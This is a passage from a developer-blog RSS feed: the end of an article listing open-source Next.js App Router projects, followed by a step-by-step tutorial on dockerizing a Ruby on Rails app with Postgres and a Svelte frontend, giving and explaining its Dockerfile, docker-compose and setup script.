&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6logldhi3z3wdzf706b5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6logldhi3z3wdzf706b5.png" alt="Screenshot of Plane"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/makeplane/plane" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; · &lt;a href="https://plane.so/" rel="noopener noreferrer"&gt;Website&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;An open Source JIRA, Linear and Asana alternative. Plane helps you track your issues, epics, and product roadmaps.&lt;/p&gt;

&lt;p&gt;The repository is a monorepo managed via &lt;a href="https://turbo.build/" rel="noopener noreferrer"&gt;Turborepo&lt;/a&gt;. It contains several Next.js apps:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/makeplane/plane/tree/preview/admin" rel="noopener noreferrer"&gt;admin&lt;/a&gt; - admin panel. It uses App Router.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/makeplane/plane/tree/preview/web" rel="noopener noreferrer"&gt;web&lt;/a&gt; - main application. It doesn't  App Router yet.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/makeplane/plane/tree/preview/space" rel="noopener noreferrer"&gt;space&lt;/a&gt; - some application. It uses App Router.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Stack:&lt;/strong&gt; &lt;a href="https://turbo.build/" rel="noopener noreferrer"&gt;Turborepo&lt;/a&gt;, &lt;a href="https://tailwindcss.com/" rel="noopener noreferrer"&gt;Tailwind&lt;/a&gt;, &lt;a href="https://react-hook-form.com/" rel="noopener noreferrer"&gt;React Hook Form&lt;/a&gt;, &lt;a href="https://swr.vercel.app/" rel="noopener noreferrer"&gt;SWR&lt;/a&gt;, &lt;a href="https://mobx.js.org/" rel="noopener noreferrer"&gt;MobX&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  egghead.io
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0nmtpx1iw7qy89nzmey8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0nmtpx1iw7qy89nzmey8.png" alt="Screenshot of egghead.io"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/skillrecordings/egghead-next" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; · &lt;a href="https://egghead.io/" rel="noopener noreferrer"&gt;Website&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;egghead a learning platform for front-end developers.&lt;/p&gt;

&lt;p&gt;They are still in the process of migrating to App Router, which is a good example of how a large-scale app can be migrated to App Router incrementally.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stack:&lt;/strong&gt; &lt;a href="https://tailwindcss.com/" rel="noopener noreferrer"&gt;Tailwind&lt;/a&gt;, &lt;a href="https://trpc.io/" rel="noopener noreferrer"&gt;tRPC&lt;/a&gt;, &lt;a href="https://www.prisma.io/" rel="noopener noreferrer"&gt;Prisma&lt;/a&gt;, &lt;a href="https://www.sanity.io/" rel="noopener noreferrer"&gt;Sanity&lt;/a&gt;, &lt;a href="https://formik.org/" rel="noopener noreferrer"&gt;Formik&lt;/a&gt;, &lt;a href="https://zod.dev/" rel="noopener noreferrer"&gt;Zod&lt;/a&gt;, &lt;a href="https://swr.vercel.app/" rel="noopener noreferrer"&gt;SWR&lt;/a&gt;, &lt;a href="https://tanstack.com/query" rel="noopener noreferrer"&gt;Tanstack Query&lt;/a&gt;, &lt;a href="https://upstash.com/" rel="noopener noreferrer"&gt;Upstash&lt;/a&gt;, &lt;a href="https://stripe.com/" rel="noopener noreferrer"&gt;Stripe&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In this article, we explored several open-source projects built with Next.js 14 and App Router. These open-source projects serve as excellent learning resources, offering practical examples of how to leverage Next.js 14 and App Router to build robust, scalable applications. Whether you are looking to enhance your skills, find inspiration, or discover new tools, delving into these codebases will undoubtedly contribute to your growth as a developer.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Want to find more real-world projects?&lt;/strong&gt; You can find more projects built with different technologies in &lt;a href="https://github.com/stars/lesha1201/lists/real-world-apps" rel="noopener noreferrer"&gt;my collection&lt;/a&gt; on GitHub.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Which open-source Next.js projects inspire you the most? Please, share your thoughts and experiences in the comments below.&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>nextjs</category>
      <category>frontend</category>
      <category>react</category>
      <category>opensource</category>
    </item>
    <item>
      <title>How to Dockerize a Ruby on Rails application</title>
      <dc:creator>Matvei Tratseuski</dc:creator>
      <pubDate>Tue, 21 May 2024 14:59:36 +0000</pubDate>
      <link>https://forem.com/datarockets/how-to-dockerize-a-ruby-on-rails-application-4h81</link>
      <guid>https://forem.com/datarockets/how-to-dockerize-a-ruby-on-rails-application-4h81</guid>
      <description>&lt;p&gt;Containerization is a game-changer in software development, delivering key advantages like streamlined deployment, scalability, and consistency across development, testing, and production environments.&lt;/p&gt;

&lt;p&gt;In this post, I’m going to walk you through a configuration for dockerizing your Ruby on Rails app and dive into each detail so you know exactly how it works.&lt;/p&gt;

&lt;h2&gt;
  
  
  Install Docker
&lt;/h2&gt;

&lt;p&gt;Install &lt;a href="https://www.docker.com/products/docker-desktop/"&gt;Docker Desktop&lt;/a&gt; if you’re on Mac or Windows, or a &lt;a href="https://docs.docker.com/engine/install/"&gt;Docker Engine&lt;/a&gt; if you’re using Linux.&lt;/p&gt;

&lt;h2&gt;
  
  
  Project Structure
&lt;/h2&gt;

&lt;p&gt;Here’s the structure of the project that will be dockerized:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;your-project-name/
│
├── backend (rails backend)
│   ├── Gemfile
│   ├── Gemfile.lock
│   └── ... (other rails files)

├── frontend (frontend folder)
│   ├── package.json
│   └── ... (other frontend files)
│
├── bin (place for script)
│   ├── run (script that run docker)
│   └── ... (other scripts)
│
├── docker
│   ├── development
│   ├──├── frontend.Dockerfile
│   └──└── backend.Dockerfile
│
└── docker-compose.yml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Proposed Configuration
&lt;/h2&gt;

&lt;p&gt;Most folks just want to copy the config and hit the ground running. Below, I’ve shared my configuration and broken it down for you.&lt;/p&gt;

&lt;p&gt;Tech stack for this sample project:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Ruby 3.3.0&lt;/li&gt;
&lt;li&gt;Svelte 4 (you can use any other)&lt;/li&gt;
&lt;li&gt;Postgres 14&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  backend.Dockerfile
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; ruby:3.3.0-bookworm&lt;/span&gt;

&lt;span class="k"&gt;RUN &lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-eux&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;    apt-get update&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;    apt-get &lt;span class="nt"&gt;-y&lt;/span&gt; upgrade

&lt;span class="k"&gt;ARG&lt;/span&gt;&lt;span class="s"&gt; UID=1000&lt;/span&gt;

&lt;span class="k"&gt;RUN &lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-eux&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;    useradd &lt;span class="nt"&gt;-s&lt;/span&gt; /bin/bash &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;UID&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt; &lt;span class="nt"&gt;-m&lt;/span&gt; backend&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /backend/vendor/bundle&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="nb"&gt;chown&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; backend:backend /backend

&lt;span class="k"&gt;USER&lt;/span&gt;&lt;span class="s"&gt; backend&lt;/span&gt;

&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /backend&lt;/span&gt;

&lt;span class="k"&gt;ENV&lt;/span&gt;&lt;span class="s"&gt; BUNDLE_PATH=vendor/bundle&lt;/span&gt;
&lt;span class="k"&gt;ENV&lt;/span&gt;&lt;span class="s"&gt; BUNDLE_APP_CONFIG=$BUNDLE_PATH&lt;/span&gt;
&lt;span class="k"&gt;ENV&lt;/span&gt;&lt;span class="s"&gt; BUNDLE_USER_CACHE=vendor/bundle/cache&lt;/span&gt;

&lt;span class="c"&gt;# This will force using gems with native extensions instead&lt;/span&gt;
&lt;span class="c"&gt;# of pre-compiled versions.&lt;/span&gt;
&lt;span class="c"&gt;# Using precompiled versions leads to compatibility issues&lt;/span&gt;
&lt;span class="c"&gt;# in the case of ARM platform.&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;bundle config &lt;span class="nb"&gt;set &lt;/span&gt;force_ruby_platform &lt;span class="nb"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  docker-compose.yml
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;3.9"&lt;/span&gt;

&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;backend&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="nl"&gt;&amp;amp;backend&lt;/span&gt;
    &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;context&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;.&lt;/span&gt;
      &lt;span class="na"&gt;dockerfile&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;docker/development/backend.Dockerfile&lt;/span&gt;
    &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;./backend:/backend:cached&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;backend_tmp:/backend/tmp&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;bundle:/backend/vendor&lt;/span&gt;
    &lt;span class="na"&gt;command&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;bin/rails s -b 0.0.0.0&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;3000:3000"&lt;/span&gt;
    &lt;span class="na"&gt;tty&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
    &lt;span class="na"&gt;stdin_open&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
    &lt;span class="na"&gt;depends_on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;db&lt;/span&gt;

  &lt;span class="na"&gt;db&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;postgres:14&lt;/span&gt;
    &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;db_data:/var/lib/postgresql/data&lt;/span&gt;
    &lt;span class="na"&gt;environment&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;POSTGRES_PASSWORD&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;password&lt;/span&gt;

  &lt;span class="na"&gt;frontend&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;context&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;.&lt;/span&gt;
      &lt;span class="na"&gt;dockerfile&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;docker/development/frontend.Dockerfile&lt;/span&gt;
    &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;./frontend:/frontend:cached&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;node_modules:/frontend/node_modules&lt;/span&gt;
    &lt;span class="na"&gt;command&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;yarn dev --port 3001 --host 0.0.0.0&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;3001:3001"&lt;/span&gt;

&lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;bundle&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;db_data&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;node_modules&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;backend_tmp&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;driver_opts&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;tmpfs&lt;/span&gt;
      &lt;span class="na"&gt;device&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;tmpfs&lt;/span&gt;
      &lt;span class="na"&gt;o&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;uid=1000,gid=1000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Change default in &lt;code&gt;backend/config/database.yml&lt;/code&gt; to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;default&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="nl"&gt;&amp;amp;default&lt;/span&gt;
  &lt;span class="na"&gt;adapter&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;postgresql&lt;/span&gt;
  &lt;span class="na"&gt;encoding&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;unicode&lt;/span&gt;
  &lt;span class="na"&gt;host&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;&amp;lt;%= ENV.fetch("DB_HOST", "db") %&amp;gt;&lt;/span&gt;
  &lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;postgres&lt;/span&gt;
  &lt;span class="na"&gt;password&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;&amp;lt;%= ENV.fetch("DB_PASSWORD", "password") %&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To get everything up and running, you need to build images (or pull), install gem, prepare db, and install packages for the frontend. You can find all of these scripts in this repository. &lt;/p&gt;

&lt;p&gt;For simplicity, I combined all scripts into one &lt;code&gt;bin/setup&lt;/code&gt; file.&lt;/p&gt;

&lt;h3&gt;
  
  
  bin/setup
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;

&lt;span class="c"&gt;#exit immediately if any command within the script or session &lt;/span&gt;
&lt;span class="c"&gt;#exits with a non-zero status&lt;/span&gt;

&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; 

docker compose build

docker compose run &lt;span class="nt"&gt;--rm&lt;/span&gt; backend /bin/bash &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'bundle install'&lt;/span&gt;
docker compose run &lt;span class="nt"&gt;--rm&lt;/span&gt; backend /bin/bash &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'bundle exec rails db:prepare'&lt;/span&gt;
docker compose run &lt;span class="nt"&gt;--rm&lt;/span&gt; backend /bin/bash &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'bundle exec rails db:seed'&lt;/span&gt;
&lt;span class="c"&gt;#change yarn to your package manager&lt;/span&gt;
docker compose run &lt;span class="nt"&gt;--rm&lt;/span&gt; frontend /bin/bash &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'yarn install'&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Give permission to run scripts from the bin folder using &lt;code&gt;chmod +x -R ./bin/&lt;/code&gt; from the project root folder. Then run this script &lt;code&gt;bin/setup&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Congratulations! Now you can run docker using &lt;code&gt;docker compose up&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Configuration Explained
&lt;/h2&gt;

&lt;p&gt;Now let’s talk more about the specific configuration of the &lt;strong&gt;backend.Dockerfile&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Bookworm
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;FROM ruby:3.3.0-bookworm&lt;/code&gt;, why bookworm, and what is it? &lt;/p&gt;

&lt;p&gt;Bookworm is the name of the &lt;a href="https://www.debian.org/releases/"&gt;Debian version&lt;/a&gt;. Most of the time, we don’t care about the size of the docker image, so I recommend picking the latest Debian version. &lt;/p&gt;

&lt;p&gt;Also, I recommend always explicitly specifying the version of an image - never pick the &lt;em&gt;latest&lt;/em&gt; as it can upgrade and break the application.&lt;/p&gt;

&lt;h3&gt;
  
  
  Update and upgrade software packages
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;RUN &lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-eux&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;    apt-get update&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;    apt-get &lt;span class="nt"&gt;-y&lt;/span&gt; upgrade
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These commands update and upgrade the software packages within a Docker container, ensuring they are up-to-date and secure. The script exits on errors and automatically confirms all prompts for a smooth, non-interactive process.&lt;/p&gt;

&lt;h3&gt;
  
  
  Set Up Application User and Directory Structure
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;ARG&lt;/span&gt;&lt;span class="s"&gt; UID=1000&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-eux&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;    useradd &lt;span class="nt"&gt;-s&lt;/span&gt; /bin/bash &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;UID&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt; &lt;span class="nt"&gt;-m&lt;/span&gt; backend&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /backend/vendor/bundle&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="nb"&gt;chown&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; backend:backend /backend
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It creates a new user named backend with a specified user ID, sets up a directory for the application, and assigns ownership of this directory to the new user. Then it creates a directory for Ruby dependencies and sets the application user as its owner for secure and organized access.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;frontend.Dockerfile&lt;/strong&gt; has almost the same configuration.&lt;/p&gt;

&lt;h3&gt;
  
  
  Volumes for the backend service
&lt;/h3&gt;

&lt;p&gt;The main thing to understand in &lt;strong&gt;docker-compose.yml&lt;/strong&gt; is how volumes are mounted.&lt;br&gt;
Volumes for the backend service:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;./backend:/backend:cached&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;backend_tmp:/backend/tmp&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;bundle:/backend/vendor&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Bind Mount from Local Directory
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;./backend:/backend:cached&lt;/code&gt;&lt;br&gt;
This volume mounts the backend directory on the host machine to &lt;em&gt;/backend&lt;/em&gt; inside the container. With &lt;em&gt;:cached&lt;/em&gt;  for optimized I/O performance.&lt;/p&gt;

&lt;h4&gt;
  
  
  Named Volumes
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;backend_tmp:/backend/tmp&lt;/code&gt;&lt;br&gt;
A named volume &lt;em&gt;backend_tmp&lt;/em&gt; is mounted to &lt;em&gt;/backend/tmp&lt;/em&gt; inside the container, managed by Docker for data persistence.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;bundle:/backend/vendor&lt;/code&gt;&lt;br&gt;
This bundle is another named volume mounted to &lt;em&gt;/backend/vendor&lt;/em&gt;, ensuring the persistence of Ruby dependencies (gems) across container restarts.&lt;/p&gt;

&lt;h3&gt;
  
  
  Volumes for the db service
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;db_data:/var/lib/postgresql/data&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;db_data:/var/lib/postgresql/data&lt;/code&gt;&lt;br&gt;
This volume is used to store the Postgres database within &lt;em&gt;db_data&lt;/em&gt;, ensuring that data remains persistent across container restarts.&lt;/p&gt;

&lt;h3&gt;
  
  
  Volumes for the frontend service
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;./frontend:/frontend:cached&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;node_modules:/frontend/node_modules&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;./frontend:/frontend:cached&lt;/code&gt;&lt;br&gt;
The local frontend directory is mounted to &lt;em&gt;/frontend&lt;/em&gt; inside the container, with &lt;em&gt;:cached&lt;/em&gt; for optimized I/O performance.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;node_modules:/frontend/node_modules&lt;/code&gt;&lt;br&gt;
Ensures persistent storage of Node.js dependencies in &lt;em&gt;node_modules&lt;/em&gt;, avoiding loss on container rebuild.&lt;/p&gt;

&lt;h3&gt;
  
  
  Volume Definitions
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;bundle&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;db_data&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;node_modules&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;backend_tmp&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;driver_opts&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;tmpfs&lt;/span&gt;
      &lt;span class="na"&gt;device&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;tmpfs&lt;/span&gt;
      &lt;span class="na"&gt;o&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;uid=1000,gid=1000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;bundle, db_data, node_modules&lt;/code&gt;&lt;br&gt;
These are simply declared, allowing Docker to manage them for persistence.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;backend_tmp&lt;/code&gt;&lt;br&gt;
Specified with &lt;em&gt;driver_opts&lt;/em&gt; to configure as &lt;em&gt;tmpfs&lt;/em&gt;, meaning it's stored in memory, not persisted on the host disk, with &lt;em&gt;uid=1000, gid=1000&lt;/em&gt; for file ownership. Ideal for temporary data not requiring persistence across restarts.&lt;/p&gt;

&lt;h2&gt;
  
  
  Debugging
&lt;/h2&gt;

&lt;p&gt;If you take scripts from &lt;a href="https://github.com/Set27/dockerize_rails_example"&gt;this repository&lt;/a&gt;, you can smoothly debug a rails application by running this script &lt;code&gt;bin/run_and_attach&lt;/code&gt;. This allows you to debug inside the same terminal.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;By dockerizing your Rails app, you're setting yourself up for success with an application that's portable and easy to deploy.&lt;/p&gt;

&lt;p&gt;Whether you are hosting it on a server, using a PaaS like Heroku, or orchestrating it with Kubernetes, Docker lays a solid foundation.&lt;br&gt;
Well done on dockerizing your Rails app! Here's to smooth sailing in your app development and deployment!&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Originally published on the &lt;a href="https://datarockets.com/blog/code/dockerize-ruby-on-rails-application/"&gt;datarockets' blog&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>ruby</category>
